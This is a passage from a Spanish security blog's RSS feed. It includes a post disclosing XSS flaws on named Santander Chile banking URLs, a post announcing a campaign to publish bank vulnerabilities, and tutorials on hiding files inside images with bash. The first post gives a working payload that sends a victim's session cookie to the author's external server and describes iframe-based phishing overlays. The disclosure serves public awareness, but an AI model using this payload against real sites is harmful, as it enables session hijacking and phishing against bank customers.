		<guid isPermaLink="false">http://blog.zerial.org/?p=2235</guid>
		<description><![CDATA[Hace unos meses reporté una vulnerabilidad XSS en la banca de personas del Banco Santander, la cual no ha sido corregida. Ahora, segun la campaña anunciada por parte de Secureless, retomaré este mismo bug y aprovecharé de reportar otros que hemos encontrado, además preparé unas pruebas de concepto para dejar en claro que podemos hacer [...]]]></description>
			<content:encoded><![CDATA[<p><img class="aligncenter size-full wp-image-1899" title="logo-santander" src="http://blog.zerial.org/wp-content/uploads/2010/09/logo-santander.jpg" alt="" width="482" height="144" /></p>
<p>Hace unos meses <a href="http://blog.zerial.org/seguridad/vulnerabilidad-en-banca-de-personas-del-banco-santander/">reporté una vulnerabilidad XSS en la banca de personas del Banco Santander</a>, la cual no ha sido corregida. Ahora, segun <a href="http://blog.zerial.org/seguridad/xss-y-csrf-en-sitios-web-de-bancos-ellos-mismos-facilitan-el-phishing/">la campaña anunciada</a> por parte de <a href="http://secureless.org">Secureless</a>, retomaré este mismo bug y aprovecharé de reportar otros que hemos encontrado, además preparé unas pruebas de concepto para dejar en claro que podemos hacer y que no, explotando estas vulnerabilidades donde los unicos afectados son los <span style="text-decoration: line-through;">clientes</span> usuarios.</p>
<p>Las vulnerabilidades detectadas son del tipo XSS, encontradas en el sistema de clientes (banca de personas) y en el sitio web público.</p>
<p>Los scripts o urls vulnerables son:</p>
<ul>
<li>https://www.santander.cl/transa/errores/PagError.asp</li>
<li>https://www.santander.cl/transa/productos/tc_conti/PAMPA/pcpMosTjc.asp</li>
<li>https://www.santander.cl/transa/preerror.asp</li>
</ul>
<p>Las tres con certificado ssl, permitiendo aprovecharse de la confianza que tiene el usuario sobre el sitio.</p>
<p><span id="more-2235"></span></p>
<p>Como primera prueba de concepto, inyectaré un código html que permita crear un iframe dentro del sitio, mostrando información de un sitio remoto distinto al Santander, que perfectamente podria ser un sitio malicioso.</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/05/iframe1.png"><img class="aligncenter size-full wp-image-2241" title="Xss Banco Santander" src="http://blog.zerial.org/wp-content/uploads/2011/05/iframe1.png" alt="" width="614" height="109" /></a></p>
<p>En este caso, en mi servidor tengo un archivo &#8220;PoC.html&#8221; y he accedido a el desde el dominio santander.cl. De esta forma podemos incluir en ese iframe un sitio que tenga una copia exacta del banco, usando el dominio de santander y la confianza del usuario.</p>
<p>El siguiente ejercicio, será el secuestro de cookies. El primer paso es ver la cookie usando un simple &#8220;alert&#8221; en javascript:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/05/xss1.png"><img class="aligncenter size-medium wp-image-2242" title="XSS Santander" src="http://blog.zerial.org/wp-content/uploads/2011/05/xss1-300x148.png" alt="" width="300" height="148" /></a></p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/05/xss2_logeado.png"><img class="aligncenter size-medium wp-image-2243" title="XSS Santander" src="http://blog.zerial.org/wp-content/uploads/2011/05/xss2_logeado-300x136.png" alt="" width="300" height="136" /></a></p>
<p>El primer pantallazo corresponde a una de las URL que no necesita estar logeado, el segundo es con la sesión iniciada.</p>
<p>Ahora enviaremos esa cookie a un servidor externo, inyectando el siguiente script:</p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1"><span class="st0">&#8216;; } window.location.href=&#8217;</span>http:<span class="co1">//zerial.org/poc.php?cookie=&#8217; %2B document.cookie.replace(&#8216;%23&#8242;, &#8216;\%23&#8242;);&lt;/script&gt;   &amp;amp;numtcrf=1&amp;amp;codigotc=1017&amp;amp;codigoalta=0150&amp;amp;formato=HTM</span></div>
</li>
</ol>
</div>
<p>Y recibiendolo en mi servidor con un simple script en php que lea la variable &#8220;cookie&#8221; pasada por GET.<br />
En el caso de no estar con la sesion iniciada, veremos algo asi:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/05/cookie_recibida.png"><img class="aligncenter size-full wp-image-2248" title="cookie_recibida" src="http://blog.zerial.org/wp-content/uploads/2011/05/cookie_recibida.png" alt="" width="624" height="211" /></a></p>
<p>Cuando iniciemos sesion, fijense el cambio:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/05/robo_sesion2_logeado.png"><img class="aligncenter size-full wp-image-2249" title="robo_sesion2_logeado" src="http://blog.zerial.org/wp-content/uploads/2011/05/robo_sesion2_logeado.png" alt="" width="633" height="216" /></a></p>
<p>El IDLOGIN cambia.</p>
<p>Finalmente, podemos lograr algo asi:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/05/290391424.png"><img class="aligncenter size-large wp-image-2252" title="Phishing Santander" src="http://blog.zerial.org/wp-content/uploads/2011/05/290391424-1024x721.png" alt="" width="656" height="461" /></a></p>
<p>En la URL https://www.santander.cl se visualiza el sitio de http://www.bancoestado.cl, con un simple iframe pasado por GET a la variable y script vulnerable.</p>
<p>Perfectamente un atacante podria realizar algo similar, con un sitio completamente falso que se dedicara a obtener información, pedir usuario, contraseña, etc.</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fel-phishing-y-el-banco-santander-chile%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/el-phishing-y-el-banco-santander-chile/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/el-phishing-y-el-banco-santander-chile/"  data-text="El Phishing y el Banco Santander Chile" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/el-phishing-y-el-banco-santander-chile/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>XSS y CSRF en sitios web de Bancos: Ellos mismos facilitan el phishing</title>
		<link>http://blog.zerial.org/seguridad/xss-y-csrf-en-sitios-web-de-bancos-ellos-mismos-facilitan-el-phishing/</link>
		<comments>http://blog.zerial.org/seguridad/xss-y-csrf-en-sitios-web-de-bancos-ellos-mismos-facilitan-el-phishing/#comments</comments>
		<pubDate>Mon, 02 May 2011 18:55:48 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Interes general]]></category>
		<category><![CDATA[Proyectos]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Sitios Vulnerables]]></category>
		<category><![CDATA[bancos]]></category>
		<category><![CDATA[chile]]></category>
		<category><![CDATA[cross-site request forgery]]></category>
		<category><![CDATA[cross-site scripting]]></category>
		<category><![CDATA[csrf]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[inseguridad]]></category>
		<category><![CDATA[phishing]]></category>
		<category><![CDATA[secureless]]></category>
		<category><![CDATA[xsrf]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2216</guid>
		<description><![CDATA[Se está poniendo de moda el phishing y el robo de datos bancarios para realizar transferencias no deseadas, cada vez son mas los usuarios afectados y muchos de ellos no logran recuperar su dinero, simplemente el banco no responde. Por un lado tienen razón, ya que quien entregó su información personal y privada fueron ellos [...]]]></description>
			<content:encoded><![CDATA[<p>Se está poniendo de moda el phishing y el robo de datos bancarios para realizar transferencias no deseadas, cada vez son mas los usuarios afectados y muchos de ellos no logran recuperar su dinero, simplemente el banco no responde. Por un lado tienen razón, ya que quien entregó su información personal y privada fueron ellos mismos, pocas veces este tipo de robos son debido a una falla/bug/vulnerabilidad que afecte directamente al banco.</p>
<p><img class="aligncenter size-full wp-image-2218" title="phishing" src="http://blog.zerial.org/wp-content/uploads/2011/05/phishing.jpg" alt="Imagen tomada de quejasyfraudes.info" width="265" height="270" />En Chile, los bancos tienen una campaña contra el phishing donde se limitan a entregar manuales y decir &#8220;no ingreses tus datos donde no debes&#8221;, pero realmente no se preocupan de tener mecanismos de validación y protección, permitiendo que cualquier persona pueda suplantar su identidad y usar la confianza que tiene el usuario en el sitio.<br />
Existe un sitio llamado &#8220;<a href="http://www.avispate.cl/">avispate.cl</a>&#8220;, que supuestamente es para hacer un llamado a la gente y educar para que no caigan en este tipo de trampas y no entreguen información a cualquier sitio.</p>
<p>Bien, por un lado tenemos que los usuarios entregan información a personas que no corresponden, que caen en las trampas pero por otro lado, algo que es <em>claramente</em> responsabilidad del banco: <strong>Hacer que sus sitios y sistemas sean 100% seguros!</strong></p>
<p><span id="more-2216"></span></p>
<p>Los bancos en lugar de ayudar a los usuarios y prevenir este tipo de ataques, prefieren cobrar:</p>
<p><img class="aligncenter size-full wp-image-2230" title="bbv1_planes" src="http://blog.zerial.org/wp-content/uploads/2011/05/bbv1_planes.png" alt="" width="529" height="330" /></p>
<p>En <a href="http://secureless.org"><strong>secureless</strong></a>, comenzamos a trabajar en una investigación en busca de vulnerabilidades XSS, CSRF y otras que puedan afectar directamente al usuario. Nuestro propósito es dejar en claro que los bancos deben ser competentes y responder por las fallas de seguridad que tienen. Hasta ahora, según nosotros, como este tipo de vulnerabilidades no les afecta a ellos, sino que afecta a los clientes, entonces no se preocupan lo suficiente.<br />
El proyecto consiste en publicar estas vulnerabilidades diariamente durante un par de dias, demostrar y dejar al descubierto este tipo de negligencia. Comenzaremos por Chile, luego seguiremos atacando bancos de otros paises.</p>
<p><strong>Sobre XSS y CSRF &#8230;</strong></p>
<p>Las vulnerabilidades <a href="http://es.wikipedia.org/wiki/XSS">XSS</a> permiten realizar modificaciones en los sitios web por el lado del cliente, cuando una entidad bancaria con certificado ssl (https) tiene este tipo de vulnerabilidad, se combierte en un sitio potencial para ser atacado y sus usuarios los afectados. Por ejemplo, si un sitio permite inyectar código html o javascript, facilmente podriamos poner un iframe que ocupe todo el ancho y alto del navegador, y que el usuario no se de cuenta que está visitando a otra página.</p>
<p>Por otro lado tenemos los ataques <a href="http://es.wikipedia.org/wiki/CSRF">CSRF</a>, que combinado con <a href="http://es.wikipedia.org/wiki/XSS">XSS</a>, practicamente es posible hacer lo que queramos con el usuario: llevarlo de un sitio a otro, pasar parametros de un sitio falso a uno verdadero, etc.</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fxss-y-csrf-en-sitios-web-de-bancos-ellos-mismos-facilitan-el-phishing%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/xss-y-csrf-en-sitios-web-de-bancos-ellos-mismos-facilitan-el-phishing/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/xss-y-csrf-en-sitios-web-de-bancos-ellos-mismos-facilitan-el-phishing/"  data-text="XSS y CSRF en sitios web de Bancos: Ellos mismos facilitan el phishing" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/xss-y-csrf-en-sitios-web-de-bancos-ellos-mismos-facilitan-el-phishing/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Esteganografía: Ofuscación de archivos (parte 3)</title>
		<link>http://blog.zerial.org/seguridad/esteganografia-ofuscacion-de-archivos-parte-3/</link>
		<comments>http://blog.zerial.org/seguridad/esteganografia-ofuscacion-de-archivos-parte-3/#comments</comments>
		<pubDate>Thu, 02 Dec 2010 15:59:06 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[GNU/Linux]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Tips]]></category>
		<category><![CDATA[bash]]></category>
		<category><![CDATA[esconder archivos]]></category>
		<category><![CDATA[esteganografia]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[ofuscacion]]></category>
		<category><![CDATA[ofuscacion de archivos]]></category>
		<category><![CDATA[scripting]]></category>
		<category><![CDATA[split]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=1981</guid>
		<description><![CDATA[Luego de haber presentado la primera y segunda parte de este post, les presentaré un script que automatiza el proceso de &#8220;esconder&#8221; y &#8220;encontrar&#8221; el archivo y además mostrar como podemos solucionar el problema de los &#8220;bytes&#8221; para poder separar el archivo original. Es un simple script en bash, que usa los mismos comandos y [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft size-full wp-image-1984" style="margin: 3px;" title="Steganography" src="http://blog.zerial.org/wp-content/uploads/2010/12/Steganography.jpg" alt="" width="85" height="85" />Luego de haber presentado la <a href="http://blog.zerial.org/seguridad/ofuscacion-de-archivos-parte-1/">primera</a> y <a href="http://blog.zerial.org/seguridad/esteganografia-ofuscacion-de-archivos-parte-2/">segunda</a> parte de este post, les presentaré un script que automatiza el proceso de &#8220;esconder&#8221; y &#8220;encontrar&#8221; el archivo y además mostrar como podemos solucionar el problema de los &#8220;bytes&#8221; para poder separar el archivo original. Es un simple script en bash, que usa los mismos comandos y técnicas mostradas en los <a href="http://blog.zerial.org/?s=Esteganograf%C3%ADa">post anteriores</a>, con comandos basicos como cat, split, etc. Para &#8220;marcar&#8221; la división entre el archivo oculto dentro del archivo original lo haremos de una forma bien simple.</p>
<p><strong>Marcar la división entre los archivos</strong></p>
<p>Para saber exactamente el byte donde debemos cortar con split el archivo para poder separarlo, vamos a agregar, al final de nuestro archivo ofuscado, una linea en texto plano con un numero X = bytes. Puede sonar absurdo por lo simple que es, pero es posible.</p>
<p><span id="more-1981"></span></p>
<p>¿Cómo hacerlo? Es muy simple, tambien usamos <em>echo</em>:<br />
<code>$ echo XXXX &gt;&gt;archivo_ofuscado.jpg"</code><br />
Donde XXXXX corresponde a la cantidad de bytes que la puedes saber por ejemplo con &#8220;ls -l&#8221; sobre el archivo.</p>
<p>Entonces el procedimiento para &#8220;separar&#8221; los archivos sería leer la última línea del archivo y hacer un <em>split -b XXXX</em>.</p>
<p>Ya habiendo aprendido a ocultar y a encontrar archivos, podemos automatizarlo y usar el siguiente script:</p>
<p><strong>esconder.sh</strong></p>
<pre name="code" class="c">
#!/bin/bash

if [ $# -eq 3 ]; then
        separador=$(ls -l $1|awk -F ' ' '{print $5}');
        cat $1 $2 > $3
        echo -e "\n$separador" >>$3
        echo "Archivo $3 creado.";
else
        echo "Sintaxis: $0 archivo1 archivo2 salida"
        exit 1;
fi
</pre>
<p><strong>encontrar.sh</strong></p>
<pre name="code" class="c">
#!/bin/bash

if [ $# -eq 1 ]; then
        separador=$(tail -1 $1);
        sed -i 's/^$separador$//g' $1
        split -b $separador $1
else
        echo "Sintaxis: $0 archivo"
fi
</pre>
<p>Pueden descargar los scripts desde aca:<br />
  * <a href="http://blog.zerial.org/files/esconder.sh.gz">esconder.sh.gz</a> (4Kb)<br />
  * <a href="http://blog.zerial.org/files/encontrar.sh.gz">encontrar.sh.gz</a> (4Kb)</p>
<p>Como pueden ver, para esconder archivos y poder &#8220;separarlos&#8221;, ya sea para enviar informacion ilegible o escondida a otras personas basta con saber usar algunos comandos basicos de unix. Si bien no es una forma an &#8220;profesional&#8221; de hacerlo, es muy simple y no se necesita un programa robusto, simplemente un par de líneas en bash.</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Festeganografia-ofuscacion-de-archivos-parte-3%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/esteganografia-ofuscacion-de-archivos-parte-3/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/esteganografia-ofuscacion-de-archivos-parte-3/"  data-text="Esteganografía: Ofuscación de archivos (parte 3)" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/esteganografia-ofuscacion-de-archivos-parte-3/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Esteganografía: Ofuscación de archivos (parte 2)</title>
		<link>http://blog.zerial.org/seguridad/esteganografia-ofuscacion-de-archivos-parte-2/</link>
		<comments>http://blog.zerial.org/seguridad/esteganografia-ofuscacion-de-archivos-parte-2/#comments</comments>
		<pubDate>Fri, 19 Nov 2010 14:10:22 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Documentacion]]></category>
		<category><![CDATA[GNU/Linux]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Tips]]></category>
		<category><![CDATA[bash]]></category>
		<category><![CDATA[esconder archivos]]></category>
		<category><![CDATA[esteganografia]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[ofuscacion]]></category>
		<category><![CDATA[ofuscacion de archivos]]></category>
		<category><![CDATA[scripting]]></category>
		<category><![CDATA[split]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=1935</guid>
		<description><![CDATA[Luego de haber enseñado como ofuscar un archivo dentro de otro, llegó el momento de saber como &#8220;separarlos&#8221;. En la primera parte, hubo comentarios de quienes tenian problemas porque se corrompía el archivo y no todas las versiones de unrar o unzip lo podían descomprimir, ya que obviamente, el archivo tiene muchos bits y bytes [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft size-full wp-image-1970" style="margin: 3px;" title="Microsoft Word - Document1" src="http://blog.zerial.org/wp-content/uploads/2010/11/fsplit.jpg" alt="" width="128" height="83" />Luego de haber enseñado como<em> ofuscar</em> un archivo dentro de otro, llegó el momento de saber como &#8220;separarlos&#8221;. En la primera parte, hubo comentarios de quienes tenian problemas porque se corrompía el archivo y no todas las versiones de unrar o unzip lo podían descomprimir, ya que obviamente, el archivo tiene muchos bits y bytes extras que no corresponden al zip, al rar o al archivo que escondimos. Una vez <em>separado</em> el archivo que hemos <em>escondido</em>, evitaremos todos estos problemas y tendremos nuestro archivo íntegro.</p>
<p>Para separar el archivo vamos a usar el comando <strong>split</strong>, que nos permite &#8220;dividir&#8221; o &#8220;cortar&#8221; un archivo por líneas, bytes, etc. En este caso, separaremos por bytes el archivo.<br />
La sintaxis de split para separar un archivo es tan simple como:</p>
<p><code>$ split --bytes=XXX archivo</code><br />
o tambien<br />
<code>$ split -b XXX archivo</code></p>
<p>De esta forma, el <strong>split</strong> separará el <strong>archivo</strong> cada <strong>XXX</strong> bytes, creando archivos de la forma <em>xab, xac, xad, &#8230; xaN</em>.<br />
Ejemplo:<br />
<code>[zerial@balcebu ejemplo_split]$ du -sh archivo.jpg<br />
48K	archivo.jpg<br />
[zerial@balcebu ejemplo_split]$ split -b 10000 archivo.jpg<br />
[zerial@balcebu ejemplo_split]$ ls<br />
archivo.jpg  xaa  xab  xac  xad  xae<br />
[zerial@balcebu ejemplo_split]$  du -csh *<br />
48K	archivo.jpg<br />
12K	xaa<br />
12K	xab<br />
12K	xac<br />
12K	xad<br />
8.0K	xae<br />
104K	total<br />
[zerial@balcebu ejemplo_split]$ </code></p>
<p>Para poder separar el archivo <em>ofuscado</em>, vamos a necesitar saber de antemano el tamaño del archivo original, para poder separarlo por esa cantidad de bytes.</p>
<p><span id="more-1935"></span></p>
<p>Siguiendo con el mismo ejemplo del primer post, aquí vamos:</p>
<p>Tenemos los tres archivos; el archivo principal, el archivo que queremos ofuscar y el archivo ya ofuscado<br />
<code>[zerial@balcebu ofuscar]$ ls -l<br />
total 816<br />
-rw-r--r-- 1 zerial users 408482 Oct 27 09:54 archivo.zip<br />
-rw-r--r-- 1 zerial users 414523 Oct 27 09:54 archivo_ofuscado.jpg<br />
-rw-r--r-- 1 zerial users   6041 Oct 27 09:52 dummie.jpg<br />
[zerial@balcebu ofuscar]$ </code></p>
<p>Nuestro fin es separar el archivo &#8220;archivo.zip&#8221; de &#8220;archivo_ofuscado.jpg&#8221;.<br />
<code>[zerial@balcebu ofuscar]$ mv archivo_ofuscado.jpg separacion/<br />
[zerial@balcebu ofuscar]$ cd separacion/<br />
[zerial@balcebu separacion]$ ls<br />
archivo_ofuscado.jpg<br />
[zerial@balcebu separacion]$ </code></p>
<p>Vemos el tamaño en bytes del archivo principal &#8220;dummie.jpg&#8221;<br />
<code>-rw-r--r-- 1 zerial users 6041 Oct 27 09:52 dummie.jpg</code></p>
<p>6041 bytes. Por tanto, tenemos que decirle a split, que nos divida el archivo_ofuscado.jpg en pequeños trozos de 6041 bytes cada uno.</p>
<p><code>[zerial@balcebu separacion]$ split -b 6041 archivo_ofuscado.jpg<br />
[zerial@balcebu separacion]$ ls -l<br />
total 956<br />
-rw-r--r-- 1 zerial users 414523 Oct 27 09:54 archivo_ofuscado.jpg<br />
-rw-r--r-- 1 zerial users   6041 Nov 19 10:57 xaa<br />
-rw-r--r-- 1 zerial users   6041 Nov 19 10:57 xab<br />
-rw-r--r-- 1 zerial users   6041 Nov 19 10:57 xac<br />
-rw-r--r-- 1 zerial users   6041 Nov 19 10:57 xad<br />
-rw-r--r-- 1 zerial users   6041 Nov 19 10:57 xae<br />
-rw-r--r-- 1 zerial users   6041 Nov 19 10:57 xaf<br />
-rw-r--r-- 1 zerial users   6041 Nov 19 10:57 xag<br />
-rw-r--r-- 1 zerial users   6041 Nov 19 10:57 xah<br />
-rw-r--r-- 1 zerial users   6041 Nov 19 10:57 xai<br />
-rw-r--r-- 1 zerial users   6041 Nov 19 10:57 xaj<br />
-rw-r--r-- 1 zerial users   6041 Nov 19 10:57 xak<br />
-rw-r--r-- 1 zerial users   6041 Nov 19 10:57 xal<br />
-rw-r--r-- 1 zerial users   6041 Nov 19 10:57 xam<br />
-rw-r--r-- 1 zerial users   6041 Nov 19 10:57 xan<br />
-rw-r--r-- 1 zerial users   6041 Nov 19 10:57 xao<br />
-rw-r--r-- 1 zerial users   6041 Nov 19 10:57 xap<br />
-rw-r--r-- 1 zerial users   6041 Nov 19 10:57 xaq<br />
-rw-r--r-- 1 zerial users   6041 Nov 19 10:57 xar<br />
-rw-r--r-- 1 zerial users   6041 Nov 19 10:57 xas<br />
-rw-r--r-- 1 zerial users   6041 Nov 19 10:57 xat<br />
-rw-r--r-- 1 zerial users   6041 Nov 19 10:57 xau<br />
-rw-r--r-- 1 zerial users   6041 Nov 19 10:57 xav<br />
-rw-r--r-- 1 zerial users   6041 Nov 19 10:57 xaw<br />
-rw-r--r-- 1 zerial users   6041 Nov 19 10:57 xax<br />
-rw-r--r-- 1 zerial users   6041 Nov 19 10:57 xay<br />
-rw-r--r-- 1 zerial users   6041 Nov 19 10:57 xaz<br />
-rw-r--r-- 1 zerial users   6041 Nov 19 10:57 xba<br />
-rw-r--r-- 1 zerial users   6041 Nov 19 10:57 xbb<br />
-rw-r--r-- 1 zerial users   6041 Nov 19 10:57 xbc<br />
-rw-r--r-- 1 zerial users   6041 Nov 19 10:57 xbd<br />
-rw-r--r-- 1 zerial users   6041 Nov 19 10:57 xbe<br />
-rw-r--r-- 1 zerial users   6041 Nov 19 10:57 xbf<br />
-rw-r--r-- 1 zerial users   6041 Nov 19 10:57 xbg<br />
-rw-r--r-- 1 zerial users   6041 Nov 19 10:57 xbh<br />
-rw-r--r-- 1 zerial users   6041 Nov 19 10:57 xbi<br />
-rw-r--r-- 1 zerial users   6041 Nov 19 10:57 xbj<br />
-rw-r--r-- 1 zerial users   6041 Nov 19 10:57 xbk<br />
-rw-r--r-- 1 zerial users   6041 Nov 19 10:57 xbl<br />
-rw-r--r-- 1 zerial users   6041 Nov 19 10:57 xbm<br />
-rw-r--r-- 1 zerial users   6041 Nov 19 10:57 xbn<br />
-rw-r--r-- 1 zerial users   6041 Nov 19 10:57 xbo<br />
-rw-r--r-- 1 zerial users   6041 Nov 19 10:57 xbp<br />
-rw-r--r-- 1 zerial users   6041 Nov 19 10:57 xbq<br />
-rw-r--r-- 1 zerial users   6041 Nov 19 10:57 xbr<br />
-rw-r--r-- 1 zerial users   6041 Nov 19 10:57 xbs<br />
-rw-r--r-- 1 zerial users   6041 Nov 19 10:57 xbt<br />
-rw-r--r-- 1 zerial users   6041 Nov 19 10:57 xbu<br />
-rw-r--r-- 1 zerial users   6041 Nov 19 10:57 xbv<br />
-rw-r--r-- 1 zerial users   6041 Nov 19 10:57 xbw<br />
-rw-r--r-- 1 zerial users   6041 Nov 19 10:57 xbx<br />
-rw-r--r-- 1 zerial users   6041 Nov 19 10:57 xby<br />
-rw-r--r-- 1 zerial users   6041 Nov 19 10:57 xbz<br />
-rw-r--r-- 1 zerial users   6041 Nov 19 10:57 xca<br />
-rw-r--r-- 1 zerial users   6041 Nov 19 10:57 xcb<br />
-rw-r--r-- 1 zerial users   6041 Nov 19 10:57 xcc<br />
-rw-r--r-- 1 zerial users   6041 Nov 19 10:57 xcd<br />
-rw-r--r-- 1 zerial users   6041 Nov 19 10:57 xce<br />
-rw-r--r-- 1 zerial users   6041 Nov 19 10:57 xcf<br />
-rw-r--r-- 1 zerial users   6041 Nov 19 10:57 xcg<br />
-rw-r--r-- 1 zerial users   6041 Nov 19 10:57 xch<br />
-rw-r--r-- 1 zerial users   6041 Nov 19 10:57 xci<br />
-rw-r--r-- 1 zerial users   6041 Nov 19 10:57 xcj<br />
-rw-r--r-- 1 zerial users   6041 Nov 19 10:57 xck<br />
-rw-r--r-- 1 zerial users   6041 Nov 19 10:57 xcl<br />
-rw-r--r-- 1 zerial users   6041 Nov 19 10:57 xcm<br />
-rw-r--r-- 1 zerial users   6041 Nov 19 10:57 xcn<br />
-rw-r--r-- 1 zerial users   6041 Nov 19 10:57 xco<br />
-rw-r--r-- 1 zerial users   6041 Nov 19 10:57 xcp<br />
-rw-r--r-- 1 zerial users   3735 Nov 19 10:57 xcq<br />
[zerial@balcebu separacion]$ </code></p>
<p>Ya tenemos dividido el archivo_ofuscado en pequeños trozos. Como nuestro archivo dummie.jpg teina un tamaño de 6041 bytes y es este archivo el que está por sobre el archivo ofuscado, el primer archivo que nos extrajo split corresponde a dummie.jpg; por tanto, renombramos <strong>xaa</strong> a <strong>dummie.jpg</strong> y concatenamos todos los demas archivos y lo llamamos <strong>archivo.zip</strong> (corresponde a nuestro archivo ofuscado)</p>
<p><code>[zerial@balcebu separacion]$ mv xaa dummie.jpg<br />
[zerial@balcebu separacion]$ cat x* &gt;archivo.zip<br />
[zerial@balcebu separacion]$ rm x*<br />
[zerial@balcebu separacion]$ ls -l<br />
total 816<br />
-rw-r--r-- 1 zerial users 408482 Nov 19 10:59 archivo.zip<br />
-rw-r--r-- 1 zerial users 414523 Oct 27 09:54 archivo_ofuscado.jpg<br />
-rw-r--r-- 1 zerial users   6041 Nov 19 10:57 dummie.jpg<br />
[zerial@balcebu separacion]$ </code></p>
<p>Con esto ya hemos extraído nuestro archivo ofuscado. Para comparar que está íntegro y que realmente corresponde al original, comparemos los md5:</p>
<p><code>5c29dbb3975a5ffe31768b79548e1884  archivo.zip<br />
ded467af5a22134c44da18bc8d4fed1b  dummie.jpg<br />
5c29dbb3975a5ffe31768b79548e1884  ../archivo.zip<br />
ded467af5a22134c44da18bc8d4fed1b  ../dummie.jpg</code></p>
<p>Los dos primeros archivos corresponden a los archivos extraídos con split y los dos últimos a los archivos originales. Los md5 coinciden, por lo que lo hemos conseguido. Si ahora <em>unzipeamos</em> nuestro <strong>archivo.zip</strong>, no nos mostrará ningun warning, lo mismo pasara con winrar, etc.</p>
<p><code>[zerial@balcebu separacion]$ unzip archivo.zip<br />
Archive:  archivo.zip<br />
   creating: tipografias/<br />
  inflating: tipografias/Aller_Bd.ttf<br />
  inflating: tipografias/Aller_BdIt.ttf<br />
  inflating: tipografias/Aller_It.ttf<br />
  inflating: tipografias/Aller_Lt.ttf<br />
  inflating: tipografias/Aller_LtIt.ttf<br />
  inflating: tipografias/Aller_Rg.ttf<br />
  inflating: tipografias/AllerDisplay.ttf<br />
[zerial@balcebu separacion]$ </code></p>
<p>Sin warnings ni errores.</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
